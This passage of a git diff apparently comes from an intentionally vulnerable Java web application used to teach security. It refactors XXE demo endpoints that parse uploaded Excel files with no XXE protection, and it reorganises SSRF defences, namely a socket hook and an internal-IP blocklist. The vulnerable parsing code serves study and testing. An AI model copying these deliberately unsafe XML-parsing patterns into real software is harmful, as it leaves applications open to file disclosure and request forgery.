+        for (int i = 0; i < rootNodeList.getLength(); i++) {
+            Node rootNode = rootNodeList.item(i);
+            NodeList xxe = rootNode.getChildNodes();
+            for (int j = 0; j < xxe.getLength(); j++) {
+                Node xxeNode = xxe.item(j);
+                // 测试不能blind xxe，所以强行加了一个回显
+                logger.info("xxeNode: " + xxeNode.getNodeValue());
+            }
+
+        }
+    }
+
+    public static void main(String[] args)  {
     }
 
 }
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java b/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java
index 6cefe27f..3000d558 100644
--- a/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java
+++ b/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java
@@ -16,7 +16,6 @@
 import java.io.IOException;
 import java.util.Iterator;
 
-import static org.apache.commons.lang.StringUtils.isBlank;
 
 /**
  * Desc:   poi-ooxml xxe vuln code
@@ -43,7 +42,7 @@ public String index() {
 
     @PostMapping("/readxlsx")
     @ResponseBody
-    public String ooxml_xxe(MultipartFile file)throws IOException {
+    public String ooxml_xxe(MultipartFile file) throws IOException {
         XSSFWorkbook wb = new XSSFWorkbook(file.getInputStream()); // xxe vuln
 
         XSSFSheet sheet = wb.getSheetAt(0);
@@ -51,29 +50,26 @@ public String ooxml_xxe(MultipartFile file)throws IOException {
         XSSFCell cell;
 
         Iterator rows = sheet.rowIterator();
-        String result = "";
+        StringBuilder sbResult = new StringBuilder();
 
-        while (rows.hasNext())
-        {
-            row=(XSSFRow) rows.next();
+        while (rows.hasNext()) {
+
+            row = (XSSFRow) rows.next();
             Iterator cells = row.cellIterator();
-            while (cells.hasNext())
-            {
-                cell=(XSSFCell) cells.next();
+
+            while (cells.hasNext()) {
+                cell = (XSSFCell) cells.next();
 
                 if (cell.getCellType() == XSSFCell.CELL_TYPE_STRING) {
-                    result += cell.getStringCellValue()+ " ";
-                } else if(cell.getCellType() == XSSFCell.CELL_TYPE_NUMERIC) {
-                    result += cell.getNumericCellValue()+ " ";
+                    sbResult.append(cell.getStringCellValue()).append(" ");
+                } else if (cell.getCellType() == XSSFCell.CELL_TYPE_NUMERIC) {
+                    sbResult.append(cell.getNumericCellValue()).append(" ");
                 } else {
                     logger.info("errors");
                 }
             }
         }
-        if ( isBlank(result) ){
-            result = "xxe test";
-        }
 
-        return result;
+        return sbResult.toString();
     }
 }
diff --git a/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java
index 4ca4bf2f..ec054ffd 100644
--- a/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java
+++ b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java
@@ -33,12 +33,12 @@ public String index() {
 
 
     @PostMapping("/readxlsx")
-    public void xllx_streamer_xxe(MultipartFile file)throws IOException {
-        Workbook wb = StreamingReader.builder().open(file.getInputStream());
+    public void xllx_streamer_xxe(MultipartFile file) throws IOException {
+        StreamingReader.builder().open(file.getInputStream());
     }
 
 
     public static void main(String[] args) throws Exception {
-        Workbook wb = StreamingReader.builder().open((new FileInputStream("poc.xlsx")));
+        StreamingReader.builder().open((new FileInputStream("poc.xlsx")));
     }
 }
diff --git a/src/main/java/org/joychou/filter/OriginFilter.java b/src/main/java/org/joychou/filter/OriginFilter.java
index 4e2e9716..32195a27 100644
--- a/src/main/java/org/joychou/filter/OriginFilter.java
+++ b/src/main/java/org/joychou/filter/OriginFilter.java
@@ -14,8 +14,8 @@
 
 /**
  * 推荐使用该全局方案修复Cors跨域漏洞，因为可以校验一级域名。
- * @author JoyChou @ 2019.12.19
  *
+ * @author JoyChou @ 2019.12.19
  */
 @WebFilter(filterName = "OriginFilter", urlPatterns = "/cors/sec/originFilter")
 public class OriginFilter implements Filter {
@@ -25,20 +25,20 @@ public void init(FilterConfig filterConfig) throws ServletException {
 
     }
 
-    private final Logger logger= LoggerFactory.getLogger(this.getClass());
+    private final Logger logger = LoggerFactory.getLogger(this.getClass());
 
     @Override
     public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain)
             throws IOException, ServletException {
 
-        HttpServletRequest request = (HttpServletRequest)req;
-        HttpServletResponse response = (HttpServletResponse)res;
+        HttpServletRequest request = (HttpServletRequest) req;
+        HttpServletResponse response = (HttpServletResponse) res;
 
         String origin = request.getHeader("Origin");
         logger.info("[+] Origin: " + origin + "\tCurrent url:" + request.getRequestURL());
 
         // 以file协议访问html，origin为字符串的null，所以依然会走安全check逻辑
-        if ( origin != null && SecurityUtil.checkURL(origin) == null) {
+        if (origin != null && SecurityUtil.checkURL(origin) == null) {
             logger.error("[-] Origin check error. " + "Origin: " + origin +
                     "\tCurrent url:" + request.getRequestURL());
             response.setStatus(response.SC_FORBIDDEN);
diff --git a/src/main/java/org/joychou/filter/ReferFilter.java b/src/main/java/org/joychou/filter/ReferFilter.java
index b2326f9f..da1030e6 100644
--- a/src/main/java/org/joychou/filter/ReferFilter.java
+++ b/src/main/java/org/joychou/filter/ReferFilter.java
@@ -18,9 +18,8 @@
 /**
  * Check referer for all GET requests with callback parameters.
  * If the check of referer fails, a 403 forbidden error page will be returned.
- *
+ * <p>
  * Still need to add @ServletComponentScan annotation in Application.java.
- *
  */
 @WebFilter(filterName = "referFilter", urlPatterns = "/*")
 public class ReferFilter implements Filter {
@@ -30,7 +29,7 @@ public void init(FilterConfig filterConfig) throws ServletException {
 
     }
 
-    private final Logger logger= LoggerFactory.getLogger(this.getClass());
+    private final Logger logger = LoggerFactory.getLogger(this.getClass());
 
     @Override
     public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain)
@@ -43,8 +42,8 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
         boolean isMatch = false;
 
         // 获取要校验Referer的Uri
-        for (String uri: WebConfig.getReferUris()) {
-            if ( matcher.match (uri, request.getRequestURI()) ) {
+        for (String uri : WebConfig.getReferUris()) {
+            if (matcher.match(uri, request.getRequestURI())) {
                 isMatch = true;
                 break;
             }
@@ -63,9 +62,9 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
         // Check referer for all GET requests with callback parameters.
 
         String reqCallback = request.getParameter(WebConfig.getBusinessCallback());
-        if ("GET".equals(request.getMethod()) && StringUtils.isNotBlank(reqCallback) ){
+        if ("GET".equals(request.getMethod()) && StringUtils.isNotBlank(reqCallback)) {
             // If the check of referer fails, a 403 forbidden error page will be returned.
-            if (SecurityUtil.checkURL(refer) == null ){
+            if (SecurityUtil.checkURL(refer) == null) {
                 logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t"
                         + "Referer: " + refer);
                 response.setStatus(HttpServletResponse.SC_FORBIDDEN);
@@ -76,7 +75,6 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
         }
 
 
-
         filterChain.doFilter(req, res);
     }
 
diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java
index 2cbe52ab..a1c4cfc6 100644
--- a/src/main/java/org/joychou/security/SecurityUtil.java
+++ b/src/main/java/org/joychou/security/SecurityUtil.java
@@ -1,6 +1,8 @@
 package org.joychou.security;
 
 import org.joychou.config.WebConfig;
+import org.joychou.security.ssrf.SSRFChecker;
+import org.joychou.security.ssrf.SocketHook;
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
 
@@ -116,26 +118,22 @@ public static boolean checkSSRFWithoutRedirect(String url) {
         if(url == null) {
             return false;
         }
-        return !SSRFChecker.isInnerIPByUrl(url);
+        return !SSRFChecker.isInternalIpByUrl(url);
     }
 
     /**
-     * @Author liergou
-     * @Description 基于Socket hook 进行SSRF检测拦截
-     * @Date 2:15 2020/4/4
-     * @Param []
-     * @return void
-     **/
+     * Check ssrf by hook socket. Start socket hook.
+     *
+     * @author liergou @ 2020-04-04 02:15
+     */
     public static void startSSRFHook() throws NoSuchFieldException, IOException {
         SocketHook.startHook();
     }
 
     /**
-     * @Author liergou
-     * @Description 关闭Socket hook
-     * @Date 2:15 2020/4/4
-     * @Param []
-     * @return void
+     * Close socket hook.
+     *
+     * @author liergou @ 2020-04-04 02:15
      **/
     public static void stopSSRFHook(){
         SocketHook.stopHook();
diff --git a/src/main/java/org/joychou/security/SocketHookFactory.java b/src/main/java/org/joychou/security/SocketHookFactory.java
deleted file mode 100644
index 2dbe738f..00000000
--- a/src/main/java/org/joychou/security/SocketHookFactory.java
+++ /dev/null
@@ -1,77 +0,0 @@
-package org.joychou.security;
-
-
-import java.io.IOException;
-import java.lang.reflect.Field;
-import java.net.Socket;
-import java.net.SocketImpl;
-import java.net.SocketImplFactory;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-
-/**
- * @Author liergou
- * @Description socket factory impl
- * @Date 23:41 2020/4/3
- * @Param
- * @return
- **/
-public class SocketHookFactory implements SocketImplFactory
-    {
-        private static SocketImpl   clazz;
-        private static Boolean isHook = false;
-
-        /**
-         * @Author liergou
-         * @Description switch hook
-         * @Date 23:42 2020/4/2
-         * @Param [set]
-         * @return void
-         **/
-        public static void setHook(Boolean set){
-            isHook = set;
-        }
-
-        /**
-         * @Author liergou
-         * @Description 初始化
-         * @Date 23:42 2020/4/2
-         * @Param []
-         * @return void
-         **/
-        public static synchronized void initSocket() throws NoSuchFieldException {
-            if ( clazz != null ) { return; }
-
-            Socket  socket = new Socket();
-            try{
-                Field implField = Socket.class.getDeclaredField("impl");
-                implField.setAccessible( true );
-                clazz = (SocketImpl) implField.get(socket);
-            }catch (NoSuchFieldException | IllegalAccessException e){
-                throw new RuntimeException("SocketHookFactory init failed!");
-            }
-
-            try {
-                socket.close();
-            }
-            catch ( IOException ignored)
-            {
-
-            }
-        }
-
-        public SocketImpl createSocketImpl() {
-
-            if(isHook) {
-                    try {
-                        return new SocketHookImpl(clazz);
-                    } catch (Exception e) {
-                        Logger.getLogger(SocketHookFactory.class.getName()).log(Level.WARNING, "hook 失败  请检查" );
-                        return clazz;
-                    }
-            }else{
-                return clazz;
-            }
-        }
-    }
diff --git a/src/main/java/org/joychou/security/SocketHookImpl.java b/src/main/java/org/joychou/security/SocketHookImpl.java
deleted file mode 100644
index ec41ebac..00000000
--- a/src/main/java/org/joychou/security/SocketHookImpl.java
+++ /dev/null
@@ -1,294 +0,0 @@
-package org.joychou.security;
-
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.lang.reflect.InvocationTargetException;
-import java.lang.reflect.Method;
-import java.net.*;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-/**
- * @Author liergou
- * @Description socket impl
- * @Date 23:39 2020/4/2
- * @Param
- * @return
- **/
-public class SocketHookImpl extends SocketImpl implements SocketOptions
-{
-
-    private SocketImpl socketImpl = null;
-    private Method createImpl;
-    private Method connectHostImpl;
-    private Method connectInetAddressImpl;
-    private Method connectSocketAddressIMPL;
-    private Method bindImpl;
-    private Method listenImpl;
-    private Method acceptImpl;
-    private Method getInputStreamImpl;
-    private Method getOutputStreamImpl;
-    private Method availableImpl;
-    private Method closeImpl;
-    private Method shutdownInputImpl;
-    private Method shutdownOutputImpl;
-    private Method sendUrgentDataImpl;
-
-
-    /**
-     * @Author liergou
-     * @Description 初始化反射方法
-     * @Date 23:40 2020/4/2
-     * @Param [initSocketImpl]
-     * @return
-     **/
-    public SocketHookImpl(SocketImpl initSocketImpl) {
-
-        if ( initSocketImpl == null){
-            throw new RuntimeException("");
-            //TODO close hook
-        }
-
-        this.socketImpl = initSocketImpl;
-        final Class<?>  clazz = this.socketImpl.getClass();
-        Method[] allMethod = clazz.getDeclaredMethods();
-        createImpl = SocketHookUtils.findMethod( clazz,"create", new Class<?>[]{ boolean.class } );
-        connectHostImpl = SocketHookUtils.findMethod( clazz, "connect", new Class<?>[]{ String.class, int.class } );
-        connectInetAddressImpl = SocketHookUtils.findMethod( clazz, "connect", new Class<?>[]{ InetAddress.class, int.class } );
-        connectSocketAddressIMPL = SocketHookUtils.findMethod( clazz, "connect", new Class<?>[]{ SocketAddress.class, int.class } );
-        bindImpl = SocketHookUtils.findMethod( clazz, "bind", new Class<?>[]{ InetAddress.class, int.class } );
-        listenImpl = SocketHookUtils.findMethod( clazz, "listen", new Class<?>[]{ int.class } );
-        acceptImpl = SocketHookUtils.findMethod( clazz, "accept", new Class<?>[]{ SocketImpl.class } );
-        getInputStreamImpl = SocketHookUtils.findMethod( clazz, "getInputStream", new Class<?>[]{  } );
-        getOutputStreamImpl = SocketHookUtils.findMethod( clazz, "getOutputStream", new Class<?>[]{  } );
-        availableImpl = SocketHookUtils.findMethod( clazz, "available", new Class<?>[]{ } );
-        closeImpl = SocketHookUtils.findMethod( clazz, "close", new Class<?>[]{ } );
-        shutdownInputImpl = SocketHookUtils.findMethod( clazz, "shutdownInput", new Class<?>[]{ } );
-        shutdownOutputImpl = SocketHookUtils.findMethod( clazz, "shutdownOutput", new Class<?>[]{ } );
-        sendUrgentDataImpl = SocketHookUtils.findMethod( clazz, "sendUrgantData", new Class<?>[]{ int.class } );
-    }
-
-
-    /**
-     * socket base method impl
-     */
-    @Override
-    protected void create(boolean stream) throws IOException {
-            try
-            {
-                this.createImpl.invoke( this.socketImpl, stream);
-            }
-            catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
-            {
-                Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
-            }
-
-    }
-
-    @Override
-    protected void connect(String host, int port) throws IOException {
-        Logger.getLogger(SocketHookImpl.class.getName()).log(Level.INFO, "host=" + host + ",port=" + port );
-
-            try
-            {
-                this.connectHostImpl.invoke( this.socketImpl, host, port);
-            }
-            catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex)
-            {
-                Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
-            }
-
-    }
-
-
-    @Override
-    protected void connect(InetAddress address, int port) throws IOException {
-            Logger.getLogger(SocketHookImpl.class.getName()).log(Level.INFO, "InetAddress=" + address.toString());
-
-            //start check SSRF
-            if(SSRFChecker.isInnerIp(SSRFChecker.getIpFromStr(address.toString()))){
-                throw new RuntimeException("Socket SSRF check failed. InetAddress:"+address.toString());
-            }
-            try
-            {
-                this.connectInetAddressImpl.invoke( this.socketImpl, address, port);
-            }
-            catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
-            {
-                Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
-            }
-    }
-
-    @Override
-    protected void connect(SocketAddress address, int timeout) throws IOException {
-            Logger.getLogger(SocketHookImpl.class.getName()).log(Level.INFO, "SocketAddress=" + address.toString());
-            //start check SSRF
-            if(SSRFChecker.isInnerIp(SSRFChecker.getIpFromStr(address.toString()))){
-                throw new RuntimeException("Socket SSRF check failed. SocketAddress:"+address.toString());
-            }
-
-            try
-            {
-                this.connectSocketAddressIMPL.invoke( this.socketImpl, address, timeout);
-            }
-            catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex)
-            {
-                Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
-            }
-    }
-
-    @Override
-    protected void bind(InetAddress host, int port) throws IOException {
-            try
-            {
-                this.bindImpl.invoke( this.socketImpl, host, port);
-            }
-            catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex)
-            {
-                Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
-            }
-    }
-
-    @Override
-    protected void listen(int backlog) throws IOException {
-
-            try
-            {
-                this.listenImpl.invoke( this.socketImpl, backlog);
-            }
-            catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
-            {
-                Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
-            }
-    }
-
-    @Override
-    protected void accept(SocketImpl s) throws IOException {
-
-            try
-            {
-                this.acceptImpl.invoke( this.socketImpl, s);
-            }
-            catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
-            {
-                Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
-            }
-    }
-
-    @Override
-    protected InputStream getInputStream() throws IOException {
-        InputStream inStream = null;
-
-            try
-            {
-                inStream = (InputStream)this.getInputStreamImpl.invoke( this.socketImpl);
-            }
-            catch ( ClassCastException | InvocationTargetException | IllegalArgumentException | IllegalAccessException ex )
-            {
-                Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
-            }
-
-        return inStream;
-    }
-
-    @Override
-    protected OutputStream getOutputStream() throws IOException {
-        OutputStream outStream = null;
-
-            try
-            {
-                outStream = (OutputStream)this.getOutputStreamImpl.invoke( this.socketImpl);
-            }
-            catch ( ClassCastException | IllegalArgumentException | IllegalAccessException | InvocationTargetException ex )
-            {
-                Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
-            }
-
-        return outStream;
-    }
-
-    @Override
-    protected int available() throws IOException {
-        int result = -1;
-
-            try
-            {
-                result = (Integer)this.availableImpl.invoke( this.socketImpl);
-            }
-            catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
-            {
-                Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
-            }
-
-        return result;
-    }
-
-    @Override
-    protected void close() throws IOException {
-            try
-            {
-                this.closeImpl.invoke( this.socketImpl);
-            }
-            catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
-            {
-                Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
-            }
-    }
-
-    @Override
-    protected void shutdownInput() throws IOException {
-        try
-        {
-            this.shutdownInputImpl.invoke( this.socketImpl);
-        }
-        catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
-        {
-            Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
-        }
-
-    }
-
-    @Override
-    protected void shutdownOutput() throws IOException {
-        try
-        {
-            this.shutdownOutputImpl.invoke( this.socketImpl);
-        }
-        catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
-        {
-            Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
-        }
-
-    }
-
-    @Override
-    protected void sendUrgentData(int data) throws IOException {
-            try
-            {
-                this.sendUrgentDataImpl.invoke( this.socketImpl, data);
-            }
-            catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex)
-            {
-                Logger.getLogger(SocketHookImpl.class.getName()).log(Level.SEVERE, null, ex);
-            }
-    }
-
-    public void setOption(int optID, Object value) throws SocketException {
-        if ( null != this.socketImpl )
-        {
-            this.socketImpl.setOption( optID, value );
-        }
-    }
-
-    public Object getOption(int optID) throws SocketException {
-        return this.socketImpl.getOption( optID );
-    }
-
-    /**
-     * dont impl other child method now
-     * dont sure where will use it
-     **/
-
-
-}
diff --git a/src/main/java/org/joychou/security/SocketHookUtils.java b/src/main/java/org/joychou/security/SocketHookUtils.java
deleted file mode 100644
index 75d48707..00000000
--- a/src/main/java/org/joychou/security/SocketHookUtils.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package org.joychou.security;
-
-import java.lang.reflect.Method;
-
-public class SocketHookUtils {
-
-    /**
-     * @Author liergou
-     * @Description 轮询父类查找反射方法
-     * @Date 1:43 2020/4/4
-     * @Param [inputClazz, findName, args]
-     * @return java.lang.reflect.Method
-     **/
-    public static Method findMethod(Class<?> inputClazz, String findName ,Class<?>[] args){
-        Class<?> temp=inputClazz;
-        Method tmpMethod = null;
-        while(temp!=null){
-            try{
-                tmpMethod = temp.getDeclaredMethod(findName,args);
-                tmpMethod.setAccessible(true);
-                return tmpMethod;
-            }catch (NoSuchMethodException e){
-                temp=temp.getSuperclass();
-            }
-        }
-        return null;
-    }
-
-}
diff --git a/src/main/java/org/joychou/security/SSRFChecker.java b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
similarity index 77%
rename from src/main/java/org/joychou/security/SSRFChecker.java
rename to src/main/java/org/joychou/security/ssrf/SSRFChecker.java
index ef393074..32373aff 100644
--- a/src/main/java/org/joychou/security/SSRFChecker.java
+++ b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
@@ -1,25 +1,24 @@
-package org.joychou.security;
+package org.joychou.security.ssrf;
 
 import java.net.HttpURLConnection;
 import java.net.InetAddress;
 import java.net.URI;
 import java.net.URL;
 import java.util.ArrayList;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
 
+import org.apache.commons.lang.StringUtils;
 import org.apache.commons.net.util.SubnetUtils;
 import org.joychou.config.WebConfig;
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
 
-class SSRFChecker {
+
+public class SSRFChecker {
 
     private static Logger logger = LoggerFactory.getLogger(SSRFChecker.class);
-    private final static Pattern IP_PATTERN = Pattern.compile("((25[0-5]|2[0-4]\\d|[01]?\\d\\d?)\\.){3}(25[0-5]|2[0-4]\\d|[01]?\\d\\d?)");
 
-    static boolean checkURLFckSSRF(String url) {
-        if (null == url){
+    public static boolean checkURLFckSSRF(String url) {
+        if (null == url) {
             return false;
         }
 
@@ -37,7 +36,7 @@ static boolean checkURLFckSSRF(String url) {
                 return true;
             }
             for (String ssrfSafeDomain : ssrfSafeDomains) {
-                if(host.endsWith("." + ssrfSafeDomain)) {
+                if (host.endsWith("." + ssrfSafeDomain)) {
                     return true;
                 }
             }
@@ -53,20 +52,20 @@ static boolean checkURLFckSSRF(String url) {
      * url只允许https或者http，并且设置默认连接超时时间。
      * 该修复方案会主动请求重定向后的链接。最好用Hook方式获取到所有url后，进行判断，代码待续…
      *
-     * @param url check的url
+     * @param url        check的url
      * @param checkTimes 设置重定向检测的最大次数，建议设置为10次
      * @return 安全返回true，危险返回false
      */
-    static boolean checkSSRF(String url, int checkTimes) {
+    public static boolean checkSSRF(String url, int checkTimes) {
 
         HttpURLConnection connection;
-        int connectTime = 5*1000;  // 设置连接超时时间5s
+        int connectTime = 5 * 1000;  // 设置连接超时时间5s
         int i = 1;
         String finalUrl = url;
         try {
             do {
                 // 判断当前请求的URL是否是内网ip
-                if (isInnerIPByUrl(finalUrl)) {
+                if (isInternalIpByUrl(finalUrl)) {
                     logger.error("[-] SSRF check failed. Dangerous url: " + finalUrl);
                     return false;  // 内网ip直接return，非内网ip继续判断是否有重定向
                 }
@@ -78,14 +77,14 @@ static boolean checkSSRF(String url, int checkTimes) {
                 //connection.setRequestMethod("GET");
                 connection.connect(); // send dns request
                 int responseCode = connection.getResponseCode(); // 发起网络请求
-                if (responseCode >= 300 && responseCode <=307 && responseCode != 304 && responseCode != 306) {
+                if (responseCode >= 300 && responseCode <= 307 && responseCode != 304 && responseCode != 306) {
                     String redirectedUrl = connection.getHeaderField("Location");
                     if (null == redirectedUrl)
                         break;
                     finalUrl = redirectedUrl;
                     i += 1;  // 重定向次数加1
                     logger.info("redirected url: " + finalUrl);
-                    if(i == checkTimes) {
+                    if (i == checkTimes) {
                         return false;
                     }
                 } else
@@ -104,18 +103,19 @@ static boolean checkSSRF(String url, int checkTimes) {
      *
      * @return 如果是内网IP，返回true；非内网IP，返回false。
      */
-     static boolean isInnerIPByUrl(String url) {
+    public static boolean isInternalIpByUrl(String url) {
+
         String host = url2host(url);
         if (host.equals("")) {
             return true; // 异常URL当成内网IP等非法URL处理
         }
 
         String ip = host2ip(host);
-        if(ip.equals("")){
+        if (ip.equals("")) {
             return true; // 如果域名转换为IP异常，则认为是非法URL
         }
 
-        return isInnerIp(ip);
+        return isInternalIp(ip);
     }
 
 
@@ -125,14 +125,18 @@ static boolean isInnerIPByUrl(String url) {
      * @param strIP ip字符串
      * @return 如果是内网ip，返回true，否则返回false。
      */
-     static boolean isInnerIp(String strIP){
-
-        ArrayList<String> blackSubnets= WebConfig.getSsrfBlockIps();
+    static boolean isInternalIp(String strIP) {
+        if (StringUtils.isEmpty(strIP)) {
+            logger.error("[-] SSRF check failed. IP is empty. " + strIP);
+            return true;
+        }
 
-        for (String subnet: blackSubnets) {
+        ArrayList<String> blackSubnets = WebConfig.getSsrfBlockIps();
+        blackSubnets.add("10.0.0.0/8");
+        for (String subnet : blackSubnets) {
             SubnetUtils utils = new SubnetUtils(subnet);
             if (utils.getInfo().isInRange(strIP)) {
-                logger.error("[-] SSRF check failed. Inner Ip: " + strIP);
+                logger.error("[-] SSRF check failed. Internal IP: " + strIP);
                 return true;
             }
         }
@@ -153,8 +157,7 @@ private static String host2ip(String host) {
         try {
             InetAddress IpAddress = InetAddress.getByName(host); //  send dns request
             return IpAddress.getHostAddress();
-        }
-        catch (Exception e) {
+        } catch (Exception e) {
             return "";
         }
     }
@@ -168,7 +171,7 @@ private static String url2host(String url) {
         try {
             // 使用URI，而非URL，防止被绕过。
             URI u = new URI(url);
-            if (!url.startsWith("http://") && ! url.startsWith("https://")) {
+            if (!url.startsWith("http://") && !url.startsWith("https://")) {
                 return "";
             }
 
@@ -180,13 +183,4 @@ private static String url2host(String url) {
 
     }
 
-    /**
-     * 匹配ip
-     * @return
-     */
-     static String getIpFromStr(String ipStr){
-        Matcher matcher = IP_PATTERN.matcher(ipStr);
-        System.out.println(matcher.find());
-        return matcher.group();
-    }
 }
diff --git a/src/main/java/org/joychou/security/ssrf/SSRFException.java b/src/main/java/org/joychou/security/ssrf/SSRFException.java
new file mode 100644
index 00000000..b27a970f
--- /dev/null
+++ b/src/main/java/org/joychou/security/ssrf/SSRFException.java
@@ -0,0 +1,15 @@
+package org.joychou.security.ssrf;
+
+
+/**
+ * SSRFException
+ *
+ * @author JoyChou @2020-04-04
+ */
+class SSRFException extends RuntimeException {
+
+    SSRFException(String s) {
+        super(s);
+    }
+
+}
diff --git a/src/main/java/org/joychou/security/SocketHook.java b/src/main/java/org/joychou/security/ssrf/SocketHook.java
similarity index 59%
rename from src/main/java/org/joychou/security/SocketHook.java
rename to src/main/java/org/joychou/security/ssrf/SocketHook.java
index 359e33f3..92b8f496 100644
--- a/src/main/java/org/joychou/security/SocketHook.java
+++ b/src/main/java/org/joychou/security/ssrf/SocketHook.java
@@ -1,16 +1,18 @@
-package org.joychou.security;
+package org.joychou.security.ssrf;
 
 import java.io.IOException;
 import java.net.Socket;
 import java.net.SocketException;
 
+
 /**
- * @Author liergou
- * @Description Socket hook开关自如
- * @Date 2:12 2020/4/4
- **/
-class SocketHook {
-    static void startHook() throws NoSuchFieldException, IOException {
+ * Socket Hook switch
+ *
+ * @author liergou @ 2020-04-04 02:12
+ */
+public class SocketHook {
+
+    public static void startHook() throws NoSuchFieldException, IOException {
         SocketHookFactory.initSocket();
         SocketHookFactory.setHook(true);
         try{
@@ -19,7 +21,7 @@ static void startHook() throws NoSuchFieldException, IOException {
         }
     }
 
-    static void stopHook(){
+    public static void stopHook(){
         SocketHookFactory.setHook(false);
     }
 }
\ No newline at end of file
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java b/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java
new file mode 100644
index 00000000..51a278b7
--- /dev/null
+++ b/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java
@@ -0,0 +1,87 @@
+package org.joychou.security.ssrf;
+
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.IOException;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.net.Socket;
+import java.net.SocketImpl;
+import java.net.SocketImplFactory;
+
+
+/**
+ * socket factory impl
+ *
+ * @author liergou @ 2020-04-03 23:41
+ */
+public class SocketHookFactory implements SocketImplFactory {
+
+
+    private static Boolean isHook = false;
+    private static Constructor socketConstructor = null;
+    private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+    /**
+     * @param set hook switch
+     */
+    static void setHook(Boolean set) {
+        isHook = set;
+    }
+
+
+    /**
+     * initSocket
+     */
+    static void initSocket() {
+        if (socketConstructor != null) {
+            return;
+        }
+
+        Socket socket = new Socket();
+        try {
+            Field implField = Socket.class.getDeclaredField("impl");
+            implField.setAccessible(true);
+            Class<?> clazz = implField.get(socket).getClass();
+            SocketHookImpl.initSocketImpl(clazz);
+            socketConstructor = clazz.getDeclaredConstructor();
+            socketConstructor.setAccessible(true);
+        } catch (NoSuchFieldException | IllegalAccessException | NoSuchMethodException e) {
+            throw new SSRFException("SocketHookFactory init failed!");
+        }
+
+        try {
+            socket.close();
+        } catch (IOException ignored) {
+
+        }
+    }
+
+
+    public SocketImpl createSocketImpl() {
+
+        if (isHook) {
+            try {
+                return new SocketHookImpl(socketConstructor);
+            } catch (Exception e) {
+                logger.error("Socket hook failed!");
+                try {
+                    return (SocketImpl) socketConstructor.newInstance();
+                } catch (InstantiationException | IllegalAccessException | InvocationTargetException ex) {
+                    logger.error(ex.toString());
+                }
+            }
+        } else {
+            try {
+                return (SocketImpl) socketConstructor.newInstance();
+            } catch (InstantiationException | IllegalAccessException | InvocationTargetException e) {
+                logger.error(e.toString());
+            }
+        }
+
+        return null;
+    }
+}
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java
new file mode 100644
index 00000000..c3b9c28d
--- /dev/null
+++ b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java
@@ -0,0 +1,270 @@
+package org.joychou.security.ssrf;
+
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.net.*;
+
+
+/**
+ * Socket impl
+ *
+ * @author liergou @ 2020-04-02 23:39
+ */
+public class SocketHookImpl extends SocketImpl implements SocketOptions {
+
+    private static Boolean isInit = false;
